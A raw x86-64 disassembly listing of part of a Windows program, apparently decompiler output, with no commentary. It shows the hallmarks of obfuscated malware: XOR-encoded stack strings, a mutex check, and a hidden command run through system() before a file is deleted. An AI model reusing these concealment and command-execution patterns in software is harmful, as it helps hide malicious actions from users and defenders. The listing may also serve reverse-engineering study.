movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa080], r13
mov qword [rbp + 0xa088], r12
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], r14
mov qword [rbp + 0xa0a0], rax
mov qword [rbp + 0xa0a8], rdi
mov qword [rbp + 0x13d0], rcx
mov qword [rbp + 0x13d8], rdx
mov qword [rbp + 0x13e0], r8
mov qword [rbp + 0x13e8], r9
mov qword [rbp + 0x13f0], rax
mov qword [rbp + 0x13f8], rdi
movdqa xmm0, xmmword [rbp + 0x13d0]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x13d0], xmm0
movdqa xmm1, xmmword [rbp + 0x13e0]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x13e0], xmm1
movdqa xmm0, xmmword [rbp + 0x13f0]
pxor xmm0, xmmword [rbp + 0xa0a0]
movdqa xmmword [rbp + 0x13f0], xmm0
lea rdx, [rbp + 0x13d0]
lea rcx, [rbp + 0x8060]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8700]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x48c0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8700]
lea rdx, [rbp + 0x48c0]
lea rcx, [rbp + 0x93e0]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x48c0]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa4d0], r13
mov qword [rbp + 0xa4d8], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x540], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0xa4d0]
movdqa xmmword [rbp + 0x540], xmm0
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x8080]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x93e0]
lea rcx, [rbp + 0x80a0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8d00]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa4c0], r13
mov qword [rbp + 0xa4c8], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x550], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x558], rax
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0xa4c0]
movdqa xmmword [rbp + 0x550], xmm0
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x8d00]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6a7d7
lea rdx, [rbp + 0x8d00]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8d00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x93e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8700]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9400]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ea0]
jmp 0x7ff7cbf6b51b
mov qword [rbp + 0xa4b0], r13
mov qword [rbp + 0xa4b8], r12
movabs rax, 0x345b2617bb0c47c8
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x568], r12
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0xa4b0]
movdqa xmmword [rbp + 0x560], xmm0
lea r8, [rbp + 0x560]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.kernel32.dll_OpenMutexA]
test rax, rax
je 0x7ff7cbf6ae84
mov qword [rbp + 0xaac0], r13
mov qword [rbp + 0xaac8], r12
mov qword [rbp + 0xaad0], rsi
mov qword [rbp + 0xaad8], r14
movabs rax, 0x245b2617bb0c47c8
mov qword [rbp + 0xdb0], rax
movabs rax, 0xc1cf36930ac8f5c7
mov qword [rbp + 0xdb8], rax
movabs rax, 0x7c53e95d8ecf7992
mov qword [rbp + 0xdc0], rax
movabs rax, 0x83b338e8db3346ae
mov qword [rbp + 0xdc8], rax
movdqa xmm0, xmmword [rbp + 0xdb0]
pxor xmm0, xmmword [rbp + 0xaac0]
movdqa xmmword [rbp + 0xdb0], xmm0
movdqa xmm1, xmmword [rbp + 0xdc0]
pxor xmm1, xmmword [rbp + 0xaad0]
movdqa xmmword [rbp + 0xdc0], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x80c0]
call fcn.7ff7cbf2ae10
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8e60]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8e70], r15
jne 0x7ff7cbf6a9d6
mov qword [rbp + 0xaaa0], r13
mov qword [rbp + 0xaaa8], r12
mov qword [rbp + 0xaab0], rsi
mov qword [rbp + 0xaab8], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xd90], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xd98], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0xda8], r14
movdqa xmm0, xmmword [rbp + 0xd90]
pxor xmm0, xmmword [rbp + 0xaaa0]
movdqa xmmword [rbp + 0xd90], xmm0
movdqa xmm1, xmmword [rbp + 0xda0]
pxor xmm1, xmmword [rbp + 0xaab0]
movdqa xmmword [rbp + 0xda0], xmm1
lea rdx, [rbp + 0xd90]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf6ae78
mov qword [rbp + 0xa9e0], r13
mov qword [rbp + 0xa9e8], r12
mov qword [rbp + 0xa9f0], rsi
mov qword [rbp + 0xa9f8], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xa30], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xa38], rax
mov qword [rbp + 0xa40], rsi
mov qword [rbp + 0xa48], r14
movdqa xmm0, xmmword [rbp + 0xa30]
pxor xmm0, xmmword [rbp + 0xa9e0]
movdqa xmmword [rbp + 0xa30], xmm0
movdqa xmm1, xmmword [rbp + 0xa40]
pxor xmm1, xmmword [rbp + 0xa9f0]
movdqa xmmword [rbp + 0xa40], xmm1
lea rdx, [rbp + 0xa30]
lea rcx, [rbp + 0x80e0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8e60]
lea rcx, [rbp + 0x8100]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90e0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x87a0], r15
mov qword [rbp + 0x87b0], r15
mov qword [rbp + 0x87b8], 0xf
lea rdx, [rbp + 0x8e60]
lea rcx, [rbp + 0x8120]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa4a0], r13
mov qword [rbp + 0xa4a8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x570], rax
mov qword [rbp + 0x578], r12
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0xa4a0]
movdqa xmmword [rbp + 0x570], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x8140]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87a0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x90e0]
lea rcx, [rbp + 0x8160]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa490], r13
mov qword [rbp + 0xa498], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], r12
movdqa xmm0, xmmword [rbp + 0x580]
pxor xmm0, xmmword [rbp + 0xa490]
movdqa xmmword [rbp + 0x580], xmm0
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x8180]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87a0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x81a0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa480], r13
mov qword [rbp + 0xa488], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], r12
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0xa480]
movdqa xmmword [rbp + 0x590], xmm0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x81c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87a0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x81e0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa0b0], r13
mov qword [rbp + 0xa0b8], r12
mov qword [rbp + 0xa0c0], rsi
mov qword [rbp + 0xa0c8], r14
mov qword [rbp + 0xa0d0], rax
mov qword [rbp + 0xa0d8], rdi
mov qword [rbp + 0x1340], rcx
mov qword [rbp + 0x1348], rdx
mov qword [rbp + 0x1350], r8
mov qword [rbp + 0x1358], r9
mov qword [rbp + 0x1360], rax
mov qword [rbp + 0x1368], rdi
movdqa xmm0, xmmword [rbp + 0x1340]
pxor xmm0, xmmword [rbp + 0xa0b0]
movdqa xmmword [rbp + 0x1340], xmm0
movdqa xmm1, xmmword [rbp + 0x1350]
pxor xmm1, xmmword [rbp + 0xa0c0]
movdqa xmmword [rbp + 0x1350], xmm1
movdqa xmm0, xmmword [rbp + 0x1360]
pxor xmm0, xmmword [rbp + 0xa0d0]
movdqa xmmword [rbp + 0x1360], xmm0
lea rdx, [rbp + 0x1340]
lea rcx, [rbp + 0x8200]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87a0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x48e0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x87a0]
lea rdx, [rbp + 0x48e0]
lea rcx, [rbp + 0x90c0]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x48e0]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa470], r13
mov qword [rbp + 0xa478], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x5a0], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x5a8], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0xa470]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x8220]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x90c0]
lea rcx, [rbp + 0x8240]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8e80]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa460], r13
mov qword [rbp + 0xa468], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x5b0], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x5b8], rax
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp + 0xa460]
movdqa xmmword [rbp + 0x5b0], xmm0
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x8e80]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6ae48
lea rdx, [rbp + 0x8e80]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8e80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x90c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x87a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x90e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8e60]
jmp 0x7ff7cbf6b51b
mov qword [rbp + 0xa450], r13
mov qword [rbp + 0xa458], r12
movabs rax, 0x44c3106fc0f5fc1
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], r12
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0xa450]
movdqa xmmword [rbp + 0x5c0], xmm0
lea rcx, [rbp + 0x5c0]
call fcn.7ff7cbf51a1c
test eax, eax
je 0x7ff7cbf6b52c
lea rdx, [rbp + 0x8938]
cmp qword [rbp + 0x8950], 0x10
cmovae rdx, qword [rbp + 0x8938]
mov r8d, 1
mov ecx, eax
call fcn.7ff7cbf579cc
test al, al
je 0x7ff7cbf6b52c
mov qword [rbp + 0xa720], r13
mov qword [rbp + 0xa728], r12
mov qword [rbp + 0xa730], rsi
mov qword [rbp + 0xa738], r14
movabs rax, 0x245b2617bb0c47c8
mov qword [rbp + 0xd70], rax
movabs rax, 0xc1d2379e0ddbf7c3
mov qword [rbp + 0xd78], rax
movabs rax, 0x5c378c31ccdc7891
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd88], r14
movdqa xmm0, xmmword [rbp + 0xd70]
pxor xmm0, xmmword [rbp + 0xa720]
movdqa xmmword [rbp + 0xd70], xmm0
movdqa xmm1, xmmword [rbp + 0xd80]
pxor xmm1, xmmword [rbp + 0xa730]
movdqa xmmword [rbp + 0xd80], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xd70]
lea rcx, [rbp + 0x8260]
call fcn.7ff7cbf2ae10
mov rbx, rax
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8aa0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8ab0], r15
jne 0x7ff7cbf6b072
mov qword [rbp + 0xa700], r13
mov qword [rbp + 0xa708], r12
mov qword [rbp + 0xa710], rsi
mov qword [rbp + 0xa718], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xd50], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xd58], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xd60], rax
mov qword [rbp + 0xd68], r14
movdqa xmm0, xmmword [rbp + 0xd50]
pxor xmm0, xmmword [rbp + 0xa700]
movdqa xmmword [rbp + 0xd50], xmm0
movdqa xmm1, xmmword [rbp + 0xd60]
pxor xmm1, xmmword [rbp + 0xa710]
movdqa xmmword [rbp + 0xd60], xmm1
lea rdx, [rbp + 0xd50]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8aa0]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf6b527
mov qword [rbp + 0xa6e0], r13
mov qword [rbp + 0xa6e8], r12
mov qword [rbp + 0xa6f0], rsi
mov qword [rbp + 0xa6f8], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xd30], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xd38], rax
mov qword [rbp + 0xd40], rsi
mov qword [rbp + 0xd48], r14
movdqa xmm0, xmmword [rbp + 0xd30]
pxor xmm0, xmmword [rbp + 0xa6e0]
movdqa xmmword [rbp + 0xd30], xmm0
movdqa xmm1, xmmword [rbp + 0xd40]
pxor xmm1, xmmword [rbp + 0xa6f0]
movdqa xmmword [rbp + 0xd40], xmm1
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x58a0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8aa0]
lea rcx, [rbp + 0x58c0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9120]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x87c0], r15
mov qword [rbp + 0x87d0], r15
mov qword [rbp + 0x87d8], 0xf
lea rdx, [rbp + 0x8aa0]
lea rcx, [rbp + 0x58e0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa440], r13
mov qword [rbp + 0xa448], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 0x5d8], r12
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0xa440]
movdqa xmmword [rbp + 0x5d0], xmm0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x5900]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87c0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9120]
lea rcx, [rbp + 0x5920]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa430], r13
mov qword [rbp + 0xa438], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x5e0], rax
mov qword [rbp + 0x5e8], r12
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0xa430]
movdqa xmmword [rbp + 0x5e0], xmm0
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x5940]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87c0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x5960]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa420], r13
mov qword [rbp + 0xa428], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x5f0], rax
mov qword [rbp + 0x5f8], r12
movdqa xmm0, xmmword [rbp + 0x5f0]
pxor xmm0, xmmword [rbp + 0xa420]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x5980]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87c0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x59a0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa0e0], r13
mov qword [rbp + 0xa0e8], r12
mov qword [rbp + 0xa0f0], rsi
mov qword [rbp + 0xa0f8], r14
mov qword [rbp + 0xa100], rax
mov qword [rbp + 0xa108], rdi
mov qword [rbp + 0x1550], rcx
mov qword [rbp + 0x1558], rdx
mov qword [rbp + 0x1560], r8
mov qword [rbp + 0x1568], r9
mov qword [rbp + 0x1570], rax
mov qword [rbp + 0x1578], rdi
movdqa xmm0, xmmword [rbp + 0x1550]
pxor xmm0, xmmword [rbp + 0xa0e0]
movdqa xmmword [rbp + 0x1550], xmm0
movdqa xmm1, xmmword [rbp + 0x1560]
pxor xmm1, xmmword [rbp + 0xa0f0]
movdqa xmmword [rbp + 0x1560], xmm1
movdqa xmm0, xmmword [rbp + 0x1570]
pxor xmm0, xmmword [rbp + 0xa100]
movdqa xmmword [rbp + 0x1570], xmm0
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x59c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87c0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4900]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x87c0]
lea rdx, [rbp + 0x4900]
lea rcx, [rbp + 0x9100]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4900]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa410], r13
mov qword [rbp + 0xa418], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x600], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0xa410]
movdqa xmmword [rbp + 0x600], xmm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x59e0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9100]
lea rcx, [rbp + 0x5a00]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8e40]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa400], r13
mov qword [rbp + 0xa408], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x610], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x618], rax
movdqa xmm0, xmmword [rbp + 0x610]
pxor xmm0, xmmword [rbp + 0xa400]
movdqa xmmword [rbp + 0x610], xmm0
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x8e40]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6b4e4
lea rdx, [rbp + 0x8e40]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8e40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9100]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x87c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9120]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8938]
call fcn.7ff7cbf376b0
movabs rbx, 0x70092d06be0b49c3
jmp 0x7ff7cbf6e88e
lea rdx, [0x7ff7cbf83eac]
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf6cae8
mov edx, 0x104
lea rcx, [rbp + 0xae00]
call qword [sym.imp.kernel32.dll_GetSystemDirectoryA]
movabs rdx, 0x61413a11b71547d5
movabs rbx, 0x962cb1c7d49fa549
movabs rcx, 0x3aac6380b37fbe10
movabs r8, 0x8cdb3db1429af5ca
movabs r9, 0x7153e870ccca7996
movabs r10, 0xf1d65e8da9115985
movabs r11, 0xb4a96b7fa826679c
mov qword [rbp + 0xaae0], r13
mov qword [rbp + 0xaae8], r12
mov qword [rbp + 0xaaf0], rsi
mov qword [rbp + 0xaaf8], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0xab00], rax
mov qword [rbp + 0xab08], rdi
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0xab10], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0xab18], rax
movabs rax, 0xa5e5291b4477960d
mov qword [rbp + 0xab20], rax
movabs rax, 0x1dd20b8a36ca0bee
mov qword [rbp + 0xab28], rax
movabs rax, 0x57853ec912fd195f
mov qword [rbp + 0xab30], rax
mov qword [rbp + 0xab38], rcx
mov qword [rbp + 0x1880], rdx
mov qword [rbp + 0x1888], r8
mov qword [rbp + 0x1890], r9
mov qword [rbp + 0x1898], r10
mov qword [rbp + 0x18a0], r11
mov qword [rbp + 0x18a8], rbx
movabs rax, 0xd4e0daeede01d179
mov qword [rbp + 0x18b0], rax
movabs rax, 0x1f618ab1f54ffd1c
mov qword [rbp + 0x18b8], rax
movabs rax, 0x9bc54c632159db79
mov qword [rbp + 0x18c0], rax
movabs rax, 0x68bc35b816a67e80
mov qword [rbp + 0x18c8], rax
movabs rax, 0x57853ec912fd1933
mov qword [rbp + 0x18d0], rax
mov qword [rbp + 0x18d8], rcx
movdqa xmm0, xmmword [rbp + 0x1880]
pxor xmm0, xmmword [rbp + 0xaae0]
movdqa xmmword [rbp + 0x1880], xmm0
movdqa xmm1, xmmword [rbp + 0x1890]
pxor xmm1, xmmword [rbp + 0xaaf0]
movdqa xmmword [rbp + 0x1890], xmm1
movdqa xmm0, xmmword [rbp + 0x18a0]
pxor xmm0, xmmword [rbp + 0xab00]
movdqa xmmword [rbp + 0x18a0], xmm0
movdqa xmm1, xmmword [rbp + 0x18b0]
pxor xmm1, xmmword [rbp + 0xab10]
movdqa xmmword [rbp + 0x18b0], xmm1
movdqa xmm0, xmmword [rbp + 0x18c0]
pxor xmm0, xmmword [rbp + 0xab20]
movdqa xmmword [rbp + 0x18c0], xmm0
movdqa xmm1, xmmword [rbp + 0x18d0]
pxor xmm1, xmmword [rbp + 0xab30]
movdqa xmmword [rbp + 0x18d0], xmm1
lea rcx, [rbp + 0x1880]
call qword [sym.imp.ucrtbase.dll_system]
mov qword [rbp + 0xa3f0], r13
mov qword [rbp + 0xa3f8], r12
movabs rax, 0x6d652c17b30658f0
mov qword [rbp + 0x620], rax
movabs rax, 0xe1d32a9741f7edd5
mov qword [rbp + 0x628], rax
movdqa xmm0, xmmword [rbp + 0x620]
pxor xmm0, xmmword [rbp + 0xa3f0]
movdqa xmmword [rbp + 0x620], xmm0
lea rdx, [0x7ff7cbf84300]
lea rcx, [rbp + 0x4f80]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0xae00]
lea rcx, [rbp + 0x4f60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4f40]
call fcn.7ff7cbf2abfc
lea r8, [rbp + 0x620]
mov rdx, rax
lea rcx, [rbp + 0x8430]
call fcn.7ff7cbf2ac80
lea rcx, [rbp + 0x4f40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4f60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4f80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8430]
cmp qword [rbp + 0x8448], 0x10
cmovae rcx, qword [rbp + 0x8430]
call qword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, 2
call fcn.7ff7cbf78368
mov word [rax], 0x34
mov rdx, rax
lea rcx, [rbp + 0x5a20]
call fcn.7ff7cbf359ec
mov rbx, rax
mov qword [rbp + 0x99e0], rax
mov qword [rbp + 0x89e0], r15
mov qword [rbp + 0x89f0], r15
mov qword [rbp + 0x89f8], 0xf
lea rcx, [rbp + 0x8ba0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8bb0], r15
jne 0x7ff7cbf6b96d
mov qword [rbp + 0xa6c0], r13
mov qword [rbp + 0xa6c8], r12
mov qword [rbp + 0xa6d0], rsi
mov qword [rbp + 0xa6d8], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xd10], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xd18], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xd20], rax
mov qword [rbp + 0xd28], r14
movdqa xmm0, xmmword [rbp + 0xd10]
pxor xmm0, xmmword [rbp + 0xa6c0]
movdqa xmmword [rbp + 0xd10], xmm0
movdqa xmm1, xmmword [rbp + 0xd20]
pxor xmm1, xmmword [rbp + 0xa6d0]
movdqa xmmword [rbp + 0xd20], xmm1
lea rdx, [rbp + 0xd10]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rdx, [rbp + 0x89e0]
lea rcx, [rbp + 0x86c0]
call fcn.7ff7cbf35998
lea rcx, [rbp + 0x8ba0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x89e0]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf6bd30
mov qword [rbp + 0xa3e0], r13
mov qword [rbp + 0xa3e8], r12
movabs rax, 0x614520058d164dc2
mov qword [rbp + 0x630], rax
movabs rax, 0xe1b652f21bdbebf9
mov qword [rbp + 0x638], rax
movdqa xmm0, xmmword [rbp + 0x630]
pxor xmm0, xmmword [rbp + 0xa3e0]
movdqa xmmword [rbp + 0x630], xmm0
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x5a40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8ba0]
lea rcx, [rbp + 0x5a60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9140]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8840], r15
mov qword [rbp + 0x8850], r15
mov qword [rbp + 0x8858], 0xf
lea rdx, [rbp + 0x8ba0]
lea rcx, [rbp + 0x5a80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa3d0], r13
mov qword [rbp + 0xa3d8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], r12
movdqa xmm0, xmmword [rbp + 0x640]
pxor xmm0, xmmword [rbp + 0xa3d0]
movdqa xmmword [rbp + 0x640], xmm0
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x5aa0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8840]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9140]
lea rcx, [rbp + 0x5ac0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa3c0], r13
mov qword [rbp + 0xa3c8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x658], r12
movdqa xmm0, xmmword [rbp + 0x650]
pxor xmm0, xmmword [rbp + 0xa3c0]
movdqa xmmword [rbp + 0x650], xmm0
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x5ae0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8840]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x5b00]
call fcn.7ff7cbf359c8
